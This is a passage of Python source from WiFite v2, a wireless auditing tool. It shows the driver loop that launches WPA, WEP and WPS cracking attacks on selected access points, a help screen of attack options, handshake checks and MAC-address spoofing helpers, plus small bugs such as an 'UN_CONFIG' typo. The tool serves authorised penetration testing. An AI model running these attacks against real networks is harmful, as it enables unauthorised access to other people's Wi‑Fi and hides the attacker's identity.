  1340.                     victims.append(targets[int(r) - 1])
  1341.  
  1342.         if len(victims) == 0:
  1343.             print O + '\n [!] ' + R + 'no targets selected.\n' + W
  1344.             self.RUN_CONFIG.exit_gracefully(0)
  1345.  
  1346.         print ''
  1347.         print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')
  1348.  
  1349.         return (victims, clients)
  1350.  
  1351.     def Start(self):
  1352.         self.RUN_CONFIG.CreateTempFolder()
  1353.         self.RUN_CONFIG.handle_args()
  1354.         self.RUN_CONFIG.ConfirmRunningAsRoot()
  1355.         self.RUN_CONFIG.ConfirmCorrectPlatform()
  1356.  
  1357.         self.initial_check()  # Ensure required programs are installed.
  1358.  
  1359.         # Use an interface already in monitor mode if it has been provided,
  1360.         if self.RUN_CONFIG.MONITOR_IFACE != '':
  1361.             iface = self.RUN_CONFIG.MONITOR_IFACE
  1362.         else:
  1363.             # The "get_iface" method anonymizes the MAC address (if needed)
  1364.             # and puts the interface into monitor mode.
  1365.             iface = self.get_iface()
  1366.         self.RUN_CONFIG.THIS_MAC = get_mac_address(iface)  # Store current MAC address
  1367.  
  1368.         (targets, clients) = self.scan(iface=iface, channel=self.RUN_CONFIG.TARGET_CHANNEL)
  1369.  
  1370.         try:
  1371.             index = 0
  1372.             while index < len(targets):
  1373.                 target = targets[index]
  1374.                 # Check if we have already cracked this target
  1375.                 for already in RUN_CONFIG.CRACKED_TARGETS:
  1376.                     if already.bssid == targets[index].bssid:
  1377.                         if RUN_CONFIG.SHOW_ALREADY_CRACKED == True:
  1378.                             print R + '\n [!]' + O + ' you have already cracked this access point\'s key!' + W
  1379.                             print R + ' [!] %s' % (C + already.ssid + W + ': "' + G + already.key + W + '"')
  1380.                             ri = raw_input(
  1381.                                 GR + ' [+] ' + W + 'do you want to crack this access point again? (' + G + 'y/' + O + 'n' + W + '): ')
  1382.                             if ri.lower() == 'n':
  1383.                                 targets.pop(index)
  1384.                                 index -= 1
  1385.                         else:
  1386.                             targets.pop(index)
  1387.                             index -= 1
  1388.                         break
  1389.  
  1390.                 # Check if handshakes already exist, ask user whether to skip targets or save new handshakes
  1391.                 handshake_file = RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
  1392.                                  + '_' + target.bssid.replace(':', '-') + '.cap'
  1393.                 if os.path.exists(handshake_file):
  1394.                     print R + '\n [!] ' + O + 'you already have a handshake file for %s:' % (C + target.ssid + W)
  1395.                     print '        %s\n' % (G + handshake_file + W)
  1396.                     print GR + ' [+]' + W + ' do you want to ' + G + '[s]kip' + W + ', ' + O + '[c]apture again' + W + ', or ' + R + '[o]verwrite' + W + '?'
  1397.                     ri = 'x'
  1398.                     while ri != 's' and ri != 'c' and ri != 'o':
  1399.                         ri = raw_input(
  1400.                             GR + ' [+] ' + W + 'enter ' + G + 's' + W + ', ' + O + 'c,' + W + ' or ' + R + 'o' + W + ': ' + G).lower()
  1401.                     print W + "\b",
  1402.                     if ri == 's':
  1403.                         targets.pop(index)
  1404.                         index -= 1
  1405.                     elif ri == 'o':
  1406.                         remove_file(handshake_file)
  1407.                         continue
  1408.                 index += 1
  1409.  
  1410.  
  1411.         except KeyboardInterrupt:
  1412.             print '\n ' + R + '(^C)' + O + ' interrupted\n'
  1413.             self.RUN_CONFIG.exit_gracefully(0)
  1414.  
  1415.         wpa_success = 0
  1416.         wep_success = 0
  1417.         wpa_total = 0
  1418.         wep_total = 0
  1419.  
  1420.         self.RUN_CONFIG.TARGETS_REMAINING = len(targets)
  1421.         for t in targets:
  1422.             self.RUN_CONFIG.TARGETS_REMAINING -= 1
  1423.  
  1424.             # Build list of clients connected to target
  1425.             ts_clients = []
  1426.             for c in clients:
  1427.                 if c.station == t.bssid:
  1428.                     ts_clients.append(c)
  1429.  
  1430.             print ''
  1431.             if t.encryption.find('WPA') != -1:
  1432.                 need_handshake = True
  1433.                 if not self.RUN_CONFIG.WPS_DISABLE and t.wps:
  1434.                     wps_attack = WPSAttack(iface, t, self.RUN_CONFIG)
  1435.                     need_handshake = not wps_attack.RunAttack()
  1436.                     wpa_total += 1
  1437.  
  1438.                 if not need_handshake: wpa_success += 1
  1439.                 if self.RUN_CONFIG.TARGETS_REMAINING < 0: break
  1440.  
  1441.                 if not self.RUN_CONFIG.WPA_DISABLE and need_handshake:
  1442.                     wpa_total += 1
  1443.                     wpa_attack = WPAAttack(iface, t, ts_clients, self.RUN_CONFIG)
  1444.                     if wpa_attack.RunAttack():
  1445.                         wpa_success += 1
  1446.  
  1447.             elif t.encryption.find('WEP') != -1:
  1448.                 wep_total += 1
  1449.                 wep_attack = WEPAttack(iface, t, ts_clients, self.RUN_CONFIG)
  1450.                 if wep_attack.RunAttack():
  1451.                     wep_success += 1
  1452.  
  1453.             else:
  1454.                 print R + ' unknown encryption:', t.encryption, W
  1455.  
  1456.             # If user wants to stop attacking
  1457.             if self.RUN_CONFIG.TARGETS_REMAINING <= 0: break
  1458.  
  1459.         if wpa_total + wep_total > 0:
  1460.             # Attacks are done! Show results to user
  1461.             print ''
  1462.             print GR + ' [+] %s%d attack%s completed:%s' % (
  1463.             G, wpa_total + wep_total, '' if wpa_total + wep_total == 1 else 's', W)
  1464.             print ''
  1465.             if wpa_total > 0:
  1466.                 if wpa_success == 0:
  1467.                     print GR + ' [+]' + R,
  1468.                 elif wpa_success == wpa_total:
  1469.                     print GR + ' [+]' + G,
  1470.                 else:
  1471.                     print GR + ' [+]' + O,
  1472.                 print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W)
  1473.  
  1474.                 for finding in self.RUN_CONFIG.WPA_FINDINGS:
  1475.                     print '        ' + C + finding + W
  1476.  
  1477.             if wep_total > 0:
  1478.                 if wep_success == 0:
  1479.                     print GR + ' [+]' + R,
  1480.                 elif wep_success == wep_total:
  1481.                     print GR + ' [+]' + G,
  1482.                 else:
  1483.                     print GR + ' [+]' + O,
  1484.                 print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W)
  1485.  
  1486.                 for finding in self.RUN_CONFIG.WEP_FINDINGS:
  1487.                     print '        ' + C + finding + W
  1488.  
  1489.             caps = len(self.RUN_CONFIG.WPA_CAPS_TO_CRACK)
  1490.             if caps > 0 and not self.RUN_CONFIG.WPA_DONT_CRACK:
  1491.                 print GR + ' [+]' + W + ' starting ' + G + 'WPA cracker' + W + ' on %s%d handshake%s' % (
  1492.                 G, caps, W if caps == 1 else 's' + W)
  1493.                 for cap in self.RUN_CONFIG.WPA_CAPS_TO_CRACK:
  1494.                     wpa_crack(cap)
  1495.  
  1496.         print ''
  1497.         self.RUN_CONFIG.exit_gracefully(0)
  1498.  
  1499.     def parse_csv(self, filename):
  1500.         """
  1501.            Parses given lines from airodump-ng CSV file.
  1502.            Returns tuple: List of targets and list of clients.
  1503.        """
  1504.         if not os.path.exists(filename): return ([], [])
  1505.         targets = []
  1506.         clients = []
  1507.         try:
  1508.             hit_clients = False
  1509.             with open(filename, 'rb') as csvfile:
  1510.                 targetreader = csv.reader((line.replace('\0', '') for line in csvfile), delimiter=',')
  1511.                 for row in targetreader:
  1512.                     if len(row) < 2:
  1513.                         continue
  1514.                     if not hit_clients:
  1515.                         if len(row) < 14:
  1516.                             continue
  1517.                         if row[0].strip() == 'Station MAC':
  1518.                             hit_clients = True
  1519.                         if row[0].strip() == 'BSSID' or row[0].strip() == 'Station Mac': continue
  1520.                         enc = row[5].strip()
  1521.                         wps = False
  1522.                         if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue
  1523.                         if self.RUN_CONFIG.WEP_DISABLE and enc.find('WEP') != -1: continue
  1524.                         if self.RUN_CONFIG.WPA_DISABLE and self.RUN_CONFIG.WPS_DISABLE and enc.find(
  1525.                                 'WPA') != -1: continue
  1526.                         if enc == "WPA2WPA":
  1527.                             enc = "WPA2"
  1528.                             wps = True
  1529.                         power = int(row[8].strip())
  1530.  
  1531.                         ssid = row[13].strip()
  1532.                         ssidlen = int(row[12].strip())
  1533.                         ssid = ssid[:ssidlen]
  1534.  
  1535.                         if power < 0: power += 100
  1536.                         t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid)
  1537.                         t.wps = wps
  1538.                         targets.append(t)
  1539.                     else:
  1540.                         if len(row) < 6:
  1541.                             continue
  1542.                         bssid = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip())
  1543.                         station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip())
  1544.                         power = row[3].strip()
  1545.                         if station != 'notassociated':
  1546.                             c = Client(bssid, station, power)
  1547.                             clients.append(c)
  1548.         except IOError as e:
  1549.             print "I/O error({0}): {1}".format(e.errno, e.strerror)
  1550.             return ([], [])
  1551.  
  1552.         return (targets, clients)
  1553.  
  1554.     def analyze_capfile(self, capfile):
  1555.         """
  1556.            Analyzes given capfile for handshakes using various programs.
  1557.            Prints results to console.
  1558.        """
  1559.         # we're not running an attack
  1560.         wpa_attack = WPAAttack(None, None, None)
  1561.  
  1562.         if self.RUN_CONFIG.TARGET_ESSID == '' and self.RUN_CONFIG.TARGET_BSSID == '':
  1563.             print R + ' [!]' + O + ' target ssid and bssid are required to check for handshakes'
  1564.             print R + ' [!]' + O + ' please enter essid (access point name) using -e <name>'
  1565.             print R + ' [!]' + O + ' and/or target bssid (mac address) using -b <mac>\n'
  1566.             # exit_gracefully(1)
  1567.  
  1568.         if self.UN_CONFIG.TARGET_BSSID == '':
  1569.             # Get the first BSSID found in tshark!
  1570.             self.RUN_CONFIG.TARGET_BSSID = get_bssid_from_cap(self.RUN_CONFIG.TARGET_ESSID, capfile)
  1571.             # if TARGET_BSSID.find('->') != -1: TARGET_BSSID == ''
  1572.             if self.RUN_CONFIG.TARGET_BSSID == '':
  1573.                 print R + ' [!]' + O + ' unable to guess BSSID from ESSID!'
  1574.             else:
  1575.                 print GR + ' [+]' + W + ' guessed bssid: %s' % (G + self.RUN_CONFIG.TARGET_BSSID + W)
  1576.  
  1577.         if self.RUN_CONFIG.TARGET_BSSID != '' and self.RUN_CONFIG.TARGET_ESSID == '':
  1578.             self.RUN_CONFIG.TARGET_ESSID = get_essid_from_cap(self.RUN_CONFIG.TARGET_BSSID, capfile)
  1579.  
  1580.         print GR + '\n [+]' + W + ' checking for handshakes in %s' % (G + capfile + W)
  1581.  
  1582.         t = Target(self.RUN_CONFIG.TARGET_BSSID, '', '', '', 'WPA', self.RUN_CONFIG.TARGET_ESSID)
  1583.  
  1584.         if program_exists('pyrit'):
  1585.             result = wpa_attack.has_handshake_pyrit(t, capfile)
  1586.             print GR + ' [+]' + W + '    ' + G + 'pyrit' + W + ':\t\t\t %s' % (
  1587.             G + 'found!' + W if result else O + 'not found' + W)
  1588.         else:
  1589.             print R + ' [!]' + O + ' program not found: pyrit'
  1590.         if program_exists('cowpatty'):
  1591.             result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=True)
  1592.             print GR + ' [+]' + W + '    ' + G + 'cowpatty' + W + ' (nonstrict):\t %s' % (
  1593.             G + 'found!' + W if result else O + 'not found' + W)
  1594.             result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=False)
  1595.             print GR + ' [+]' + W + '    ' + G + 'cowpatty' + W + ' (strict):\t %s' % (
  1596.             G + 'found!' + W if result else O + 'not found' + W)
  1597.         else:
  1598.             print R + ' [!]' + O + ' program not found: cowpatty'
  1599.         if program_exists('tshark'):
  1600.             result = wpa_attack.has_handshake_tshark(t, capfile)
  1601.             print GR + ' [+]' + W + '    ' + G + 'tshark' + W + ':\t\t\t %s' % (
  1602.             G + 'found!' + W if result else O + 'not found' + W)
  1603.         else:
  1604.             print R + ' [!]' + O + ' program not found: tshark'
  1605.         if program_exists('aircrack-ng'):
  1606.             result = wpa_attack.has_handshake_aircrack(t, capfile)
  1607.             print GR + ' [+]' + W + '    ' + G + 'aircrack-ng' + W + ':\t\t %s' % (
  1608.             G + 'found!' + W if result else O + 'not found' + W)
  1609.         else:
  1610.             print R + ' [!]' + O + ' program not found: aircrack-ng'
  1611.  
  1612.         print ''
  1613.  
  1614.         self.RUN_CONFIG.exit_gracefully(0)
  1615.  
  1616.  
  1617. ##################
  1618. # MAIN FUNCTIONS #
  1619. ##################
  1620.  
  1621. ##############################################################
  1622. ### End Classes
  1623.  
  1624. def rename(old, new):
  1625.     """
  1626.        Renames file 'old' to 'new', works with separate partitions.
  1627.        Thanks to hannan.sadar
  1628.    """
  1629.     try:
  1630.         os.rename(old, new)
  1631.     except os.error, detail:
  1632.         if detail.errno == errno.EXDEV:
  1633.             try:
  1634.                 copy(old, new)
  1635.             except:
  1636.                 os.unlink(new)
  1637.                 raise
  1638.                 os.unlink(old)
  1639.         # if desired, deal with other errors
  1640.         else:
  1641.             raise
  1642.  
  1643.  
  1644. def banner(RUN_CONFIG):
  1645.     """
  1646.        Displays ASCII art of the highest caliber.
  1647.    """
  1648.     print ''
  1649.     print G + "  .;'                     `;,    "
  1650.     print G + " .;'  ,;'             `;,  `;,   " + W + "WiFite v2 (r" + str(RUN_CONFIG.REVISION) + ")"
  1651.     print G + ".;'  ,;'  ,;'     `;,  `;,  `;,  "
  1652.     print G + "::   ::   :   " + GR + "( )" + G + "   :   ::   ::  " + GR + "automated wireless auditor"
  1653.     print G + "':.  ':.  ':. " + GR + "/_\\" + G + " ,:'  ,:'  ,:'  "
  1654.     print G + " ':.  ':.    " + GR + "/___\\" + G + "    ,:'  ,:'   " + GR + "designed for Linux"
  1655.     print G + "  ':.       " + GR + "/_____\\" + G + "      ,:'     "
  1656.     print G + "           " + GR + "/       \\" + G + "             "
  1657.     print W
  1658.  
  1659.  
  1660. def get_revision():
  1661.     """
  1662.        Gets latest revision # from the GitHub repository
  1663.        Returns : revision#
  1664.    """
  1665.     irev = -1
  1666.  
  1667.     try:
  1668.         sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py')
  1669.         page = sock.read()
  1670.     except IOError:
  1671.         return (-1, '', '')
  1672.  
  1673.     # get the revision
  1674.     start = page.find('REVISION = ')
  1675.     stop = page.find(";", start)
  1676.     if start != -1 and stop != -1:
  1677.         start += 11
  1678.         rev = page[start:stop]
  1679.         try:
  1680.             irev = int(rev)
  1681.         except ValueError:
  1682.             rev = rev.split('\n')[0]
  1683.             print R + '[+] invalid revision number: "' + rev + '"'
  1684.  
  1685.     return irev
  1686.  
  1687.  
  1688. def help():
  1689.     """
  1690.        Prints help screen
  1691.    """
  1692.  
  1693.     head = W
  1694.     sw = G
  1695.     var = GR
  1696.     des = W
  1697.     de = G
  1698.  
  1699.     print head + '   COMMANDS' + W
  1700.     print sw + '\t-check ' + var + '<file>\t' + des + 'check capfile ' + var + '<file>' + des + ' for handshakes.' + W
  1701.     print sw + '\t-cracked    \t' + des + 'display previously-cracked access points' + W
  1702.     print sw + '\t-recrack    \t' + des + 'allow recracking of previously cracked access points' + W
  1703.     print ''
  1704.  
  1705.     print head + '   GLOBAL' + W
  1706.     print sw + '\t-all         \t' + des + 'attack all targets.              ' + de + '[off]' + W
  1707.     #print sw+'\t-pillage     \t'+des+'attack all targets in a looping fashion.'+de+'[off]'+W
  1708.     print sw + '\t-i ' + var + '<iface>  \t' + des + 'wireless interface for capturing ' + de + '[auto]' + W
  1709.     print sw + '\t-mon-iface ' + var + '<monitor_interface>  \t' + des + 'interface in monitor mode for capturing ' + de + '[auto]' + W
  1710.     print sw + '\t-mac         \t' + des + 'anonymize mac address            ' + de + '[off]' + W
  1711.     print sw + '\t-c ' + var + '<channel>\t' + des + 'channel to scan for targets      ' + de + '[auto]' + W
  1712.     print sw + '\t-e ' + var + '<essid>  \t' + des + 'target a specific access point by ssid (name)  ' + de + '[ask]' + W
  1713.     print sw + '\t-b ' + var + '<bssid>  \t' + des + 'target a specific access point by bssid (mac)  ' + de + '[auto]' + W
  1714.     print sw + '\t-showb       \t' + des + 'display target BSSIDs after scan               ' + de + '[off]' + W
  1715.     print sw + '\t-pow ' + var + '<db>   \t' + des + 'attacks any targets with signal strenghth > ' + var + 'db ' + de + '[0]' + W
  1716.     print sw + '\t-quiet       \t' + des + 'do not print list of APs during scan           ' + de + '[off]' + W
  1717.     print ''
  1718.  
  1719.     print head + '\n   WPA' + W
  1720.     print sw + '\t-wpa        \t' + des + 'only target WPA networks (works with -wps -wep)   ' + de + '[off]' + W
  1721.     print sw + '\t-wpat ' + var + '<sec>   \t' + des + 'time to wait for WPA attack to complete (seconds) ' + de + '[500]' + W
  1722.     print sw + '\t-wpadt ' + var + '<sec>  \t' + des + 'time to wait between sending deauth packets (sec) ' + de + '[10]' + W
  1723.     print sw + '\t-strip      \t' + des + 'strip handshake using tshark or pyrit             ' + de + '[off]' + W
  1724.     print sw + '\t-crack ' + var + '<dic>\t' + des + 'crack WPA handshakes using ' + var + '<dic>' + des + ' wordlist file    ' + de + '[off]' + W
  1725.     print sw + '\t-dict ' + var + '<file>\t' + des + 'specify dictionary to use when cracking WPA ' + de + '[phpbb.txt]' + W
  1726.     print sw + '\t-aircrack   \t' + des + 'verify handshake using aircrack ' + de + '[on]' + W
  1727.     print sw + '\t-pyrit      \t' + des + 'verify handshake using pyrit    ' + de + '[off]' + W
  1728.     print sw + '\t-tshark     \t' + des + 'verify handshake using tshark   ' + de + '[on]' + W
  1729.     print sw + '\t-cowpatty   \t' + des + 'verify handshake using cowpatty ' + de + '[off]' + W
  1730.  
  1731.     print head + '\n   WEP' + W
  1732.     print sw + '\t-wep        \t' + des + 'only target WEP networks ' + de + '[off]' + W
  1733.     print sw + '\t-pps ' + var + '<num>  \t' + des + 'set the number of packets per second to inject ' + de + '[600]' + W
  1734.     print sw + '\t-wept ' + var + '<sec> \t' + des + 'sec to wait for each attack, 0 implies endless ' + de + '[600]' + W
  1735.     print sw + '\t-chopchop   \t' + des + 'use chopchop attack      ' + de + '[on]' + W
  1736.     print sw + '\t-arpreplay  \t' + des + 'use arpreplay attack     ' + de + '[on]' + W
  1737.     print sw + '\t-fragment   \t' + des + 'use fragmentation attack ' + de + '[on]' + W
  1738.     print sw + '\t-caffelatte \t' + des + 'use caffe-latte attack   ' + de + '[on]' + W
  1739.     print sw + '\t-p0841      \t' + des + 'use -p0841 attack        ' + de + '[on]' + W
  1740.     print sw + '\t-hirte      \t' + des + 'use hirte (cfrag) attack ' + de + '[on]' + W
  1741.     print sw + '\t-nofakeauth \t' + des + 'stop attack if fake authentication fails    ' + de + '[off]' + W
  1742.     print sw + '\t-wepca ' + GR + '<n>  \t' + des + 'start cracking when number of ivs surpass n ' + de + '[10000]' + W
  1743.     print sw + '\t-wepsave    \t' + des + 'save a copy of .cap files to this directory ' + de + '[off]' + W
  1744.  
  1745.     print head + '\n   WPS' + W
  1746.     print sw + '\t-wps       \t' + des + 'only target WPS networks         ' + de + '[off]' + W
  1747.     print sw + '\t-wpst ' + var + '<sec>  \t' + des + 'max wait for new retry before giving up (0: never)  ' + de + '[660]' + W
  1748.     print sw + '\t-wpsratio ' + var + '<per>\t' + des + 'min ratio of successful PIN attempts/total tries    ' + de + '[0]' + W
  1749.     print sw + '\t-wpsretry ' + var + '<num>\t' + des + 'max number of retries for same PIN before giving up ' + de + '[0]' + W
  1750.  
  1751.     print head + '\n   EXAMPLE' + W
  1752.     print sw + '\t./wifite.py ' + W + '-wps -wep -c 6 -pps 600' + W
  1753.     print ''
  1754.  
  1755.  
  1756. ###########################
  1757. # WIRELESS CARD FUNCTIONS #
  1758. ###########################
  1759.  
  1760.  
  1761.  
  1762.  
  1763. ######################
  1764. # SCANNING FUNCTIONS #
  1765. ######################
  1766.  
  1767.  
  1768.  
  1769.  
  1770.  
  1771. def wps_check_targets(targets, cap_file, verbose=True):
  1772.     """
  1773.        Uses reaver's "walsh" (or wash) program to check access points in cap_file
  1774.        for WPS functionality. Sets "wps" field of targets that match to True.
  1775.    """
  1776.     global RUN_CONFIG
  1777.  
  1778.     if not program_exists('walsh') and not program_exists('wash'):
  1779.         RUN_CONFIG.WPS_DISABLE = True  # Tell 'scan' we were unable to execute walsh
  1780.         return
  1781.     program_name = 'walsh' if program_exists('walsh') else 'wash'
  1782.  
  1783.     if len(targets) == 0 or not os.path.exists(cap_file): return
  1784.     if verbose:
  1785.         print GR + ' [+]' + W + ' checking for ' + G + 'WPS compatibility' + W + '...',
  1786.         stdout.flush()
  1787.  
  1788.     cmd = [program_name,
  1789.            '-f', cap_file,
  1790.            '-C']  # ignore Frame Check Sum errors
  1791.     proc_walsh = Popen(cmd, stdout=PIPE, stderr=DN)
  1792.     proc_walsh.wait()
  1793.     for line in proc_walsh.communicate()[0].split('\n'):
  1794.         if line.strip() == '' or line.startswith('Scanning for'): continue
  1795.         bssid = line.split(' ')[0]
  1796.  
  1797.         for t in targets:
  1798.             if t.bssid.lower() == bssid.lower():
  1799.                 t.wps = True
  1800.     if verbose:
  1801.         print 'done'
  1802.     removed = 0
  1803.     if not RUN_CONFIG.WPS_DISABLE and RUN_CONFIG.WPA_DISABLE:
  1804.         i = 0
  1805.         while i < len(targets):
  1806.             if not targets[i].wps and targets[i].encryption.find('WPA') != -1:
  1807.                 removed += 1
  1808.                 targets.pop(i)
  1809.             else:
  1810.                 i += 1
  1811.         if removed > 0 and verbose: print GR + ' [+]' + O + ' removed %d non-WPS-enabled targets%s' % (removed, W)
  1812.  
  1813.  
  1814. def print_and_exec(cmd):
  1815.     """
  1816.        Prints and executes command "cmd". Also waits half a second
  1817.        Used by rtl8187_fix (for prettiness)
  1818.    """
  1819.     print '\r                                                        \r',
  1820.     stdout.flush()
  1821.     print O + ' [!] ' + W + 'executing: ' + O + ' '.join(cmd) + W,
  1822.     stdout.flush()
  1823.     call(cmd, stdout=DN, stderr=DN)
  1824.     time.sleep(0.1)
  1825.  
  1826.  
  1827. ####################
  1828. # HELPER FUNCTIONS #
  1829. ####################
  1830.  
  1831. def remove_airodump_files(prefix):
  1832.     """
  1833.        Removes airodump output files for whatever file prefix ('wpa', 'wep', etc)
  1834.        Used by wpa_get_handshake() and attack_wep()
  1835.    """
  1836.     global RUN_CONFIG
  1837.     remove_file(prefix + '-01.cap')
  1838.     remove_file(prefix + '-01.csv')
  1839.     remove_file(prefix + '-01.kismet.csv')
  1840.     remove_file(prefix + '-01.kismet.netxml')
  1841.     for filename in os.listdir(RUN_CONFIG.temp):
  1842.         if filename.lower().endswith('.xor'): remove_file(RUN_CONFIG.temp + filename)
  1843.     for filename in os.listdir('.'):
  1844.         if filename.startswith('replay_') and filename.endswith('.cap'):
  1845.             remove_file(filename)
  1846.         if filename.endswith('.xor'): remove_file(filename)
  1847.     # Remove .cap's from previous attack sessions
  1848.     """i = 2
  1849.    while os.path.exists(temp + 'wep-' + str(i) + '.cap'):
  1850.        os.remove(temp + 'wep-' + str(i) + '.cap')
  1851.        i += 1
  1852.    """
  1853.  
  1854.  
  1855. def remove_file(filename):
  1856.     """
  1857.        Attempts to remove a file. Does not throw error if file is not found.
  1858.    """
  1859.     try:
  1860.         os.remove(filename)
  1861.     except OSError:
  1862.         pass
  1863.  
  1864.  
  1865. def program_exists(program):
  1866.     """
  1867.        Uses 'which' (linux command) to check if a program is installed.
  1868.    """
  1869.  
  1870.     proc = Popen(['which', program], stdout=PIPE, stderr=PIPE)
  1871.     txt = proc.communicate()
  1872.     if txt[0].strip() == '' and txt[1].strip() == '':
  1873.         return False
  1874.     if txt[0].strip() != '' and txt[1].strip() == '':
  1875.         return True
  1876.  
  1877.     return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)
  1878.  
  1879.  
  1880. def sec_to_hms(sec):
  1881.     """
  1882.        Converts integer sec to h:mm:ss format
  1883.    """
  1884.     if sec <= -1: return '[endless]'
  1885.     h = sec / 3600
  1886.     sec %= 3600
  1887.     m = sec / 60
  1888.     sec %= 60
  1889.     return '[%d:%02d:%02d]' % (h, m, sec)
  1890.  
  1891.  
  1892. def send_interrupt(process):
  1893.     """
  1894.        Sends interrupt signal to process's PID.
  1895.    """
  1896.     try:
  1897.         os.kill(process.pid, SIGINT)
  1898.         # os.kill(process.pid, SIGTERM)
  1899.     except OSError:
  1900.         pass  # process cannot be killed
  1901.     except TypeError:
  1902.         pass  # pid is incorrect type
  1903.     except UnboundLocalError:
  1904.         pass  # 'process' is not defined
  1905.     except AttributeError:
  1906.         pass  # Trying to kill "None"
  1907.  
  1908.  
  1909. def get_mac_address(iface):
  1910.     """
  1911.        Returns MAC address of "iface".
  1912.    """
  1913.     proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1914.     proc.wait()
  1915.     mac = ''
  1916.     first_line = proc.communicate()[0].split('\n')[0]
  1917.     for word in first_line.split(' '):
  1918.         if word != '': mac = word
  1919.     if mac.find('-') != -1: mac = mac.replace('-', ':')
  1920.     if len(mac) > 17: mac = mac[0:17]
  1921.     return mac
  1922.  
  1923.  
  1924. def generate_random_mac(old_mac):
  1925.     """
  1926.        Generates a random MAC address.
  1927.        Keeps the same vender (first 6 chars) of the old MAC address (old_mac).
  1928.        Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex
  1929.    """
  1930.     random.seed()
  1931.     new_mac = old_mac[:8].lower().replace('-', ':')
  1932.     for i in xrange(0, 6):
  1933.         if i % 2 == 0: new_mac += ':'
  1934.         new_mac += '0123456789abcdef'[random.randint(0, 15)]
  1935.  
  1936.     # Prevent generating the same MAC address via recursion.
  1937.     if new_mac == old_mac:
  1938.         new_mac = generate_random_mac(old_mac)
  1939.     return new_mac
  1940.  
  1941.  
  1942. def mac_anonymize(iface):
  1943.     """
  1944.        Changes MAC address of 'iface' to a random MAC.
  1945.        Only randomizes the last 6 digits of the MAC, so the vender says the same.
  1946.        Stores old MAC address and the interface in ORIGINAL_IFACE_MAC
  1947.    """
  1948.     global RUN_CONFIG
  1949.     if RUN_CONFIG.DO_NOT_CHANGE_MAC: return
  1950.     if not program_exists('ifconfig'): return
  1951.  
  1952.     # Store old (current) MAC address
  1953.     proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1954.     proc.wait()
  1955.     for word in proc.communicate()[0].split('\n')[0].split(' '):
  1956.         if word != '': old_mac = word
  1957.     RUN_CONFIG.ORIGINAL_IFACE_MAC = (iface, old_mac)
  1958.  
  1959.     new_mac = generate_random_mac(old_mac)
  1960.  
  1961.     call(['ifconfig', iface, 'down'])
  1962.  
  1963.     print GR + " [+]" + W + " changing %s's MAC from %s to %s..." % (G + iface + W, G + old_mac + W, O + new_mac + W),
  1964.     stdout.flush()
  1965.  
  1966.     proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN)
  1967.     proc.wait()
  1968.     call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  1969.     print 'done'
  1970.  
  1971.  
  1972. def mac_change_back():
  1973.     """
  1974.        Changes MAC address back to what it was before attacks began.
  1975.    """
  1976.     global RUN_CONFIG
  1977.     iface = RUN_CONFIG.ORIGINAL_IFACE_MAC[0]
  1978.     old_mac = RUN_CONFIG.ORIGINAL_IFACE_MAC[1]
  1979.     if iface == '' or old_mac == '': return
  1980.  
  1981.     print GR + " [+]" + W + " changing %s's mac back to %s..." % (G + iface + W, G + old_mac + W),
  1982.     stdout.flush()
  1983.  
  1984.     call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN)
  1985.     proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN)
  1986.     proc.wait()
  1987.     call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  1988.     print "done"
  1989.  
  1990.  
  1991. def get_essid_from_cap(bssid, capfile):
  1992.     """
  1993.        Attempts to get ESSID from cap file using BSSID as reference.
  1994.        Returns '' if not found.
  1995.    """
  1996.     if not program_exists('tshark'): return ''
  1997.  
  1998.     cmd = ['tshark',
  1999.            '-r', capfile,
  2000.            '-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid,
  2001.            '-n']
  2002.     proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2003.     proc.wait()
  2004.     for line in proc.communicate()[0].split('\n'):
  2005.         if line.find('SSID=') != -1:
  2006.             essid = line[line.find('SSID=') + 5:]
  2007.             print GR + ' [+]' + W + ' guessed essid: %s' % (G + essid + W)
  2008.             return essid
  2009.     print R + ' [!]' + O + ' unable to guess essid!' + W
  2010.     return ''
  2011.  
  2012.  
  2013. def get_bssid_from_cap(essid, capfile):
  2014.     """
  2015.        Returns first BSSID of access point found in cap file.
  2016.        This is not accurate at all, but it's a good guess.
  2017.        Returns '' if not found.
  2018.    """
  2019.     global RUN_CONFIG
  2020.  
  2021.     if not program_exists('tshark'): return ''
  2022.  
  2023.     # Attempt to get BSSID based on ESSID
  2024.     if essid != '':
  2025.         cmd = ['tshark',
  2026.                '-r', capfile,
  2027.                '-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid),
  2028.                '-n',  # Do not resolve MAC vendor names
  2029.                '-T', 'fields',  # Only display certain fields
  2030.                '-e', 'wlan.sa']  # souce MAC address
  2031.         proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2032.         proc.wait()
  2033.         bssid = proc.communicate()[0].split('\n')[0]
  2034.         if bssid != '': return bssid
  2035.  
  2036.     cmd = ['tshark',
  2037.            '-r', capfile,
  2038.            '-R', 'eapol',
  2039.            '-n']
  2040.     proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2041.     proc.wait()
  2042.     for line in proc.communicate()[0].split('\n'):
  2043.         if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'):
  2044.             while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  2045.             line = line.replace('\t', ' ')
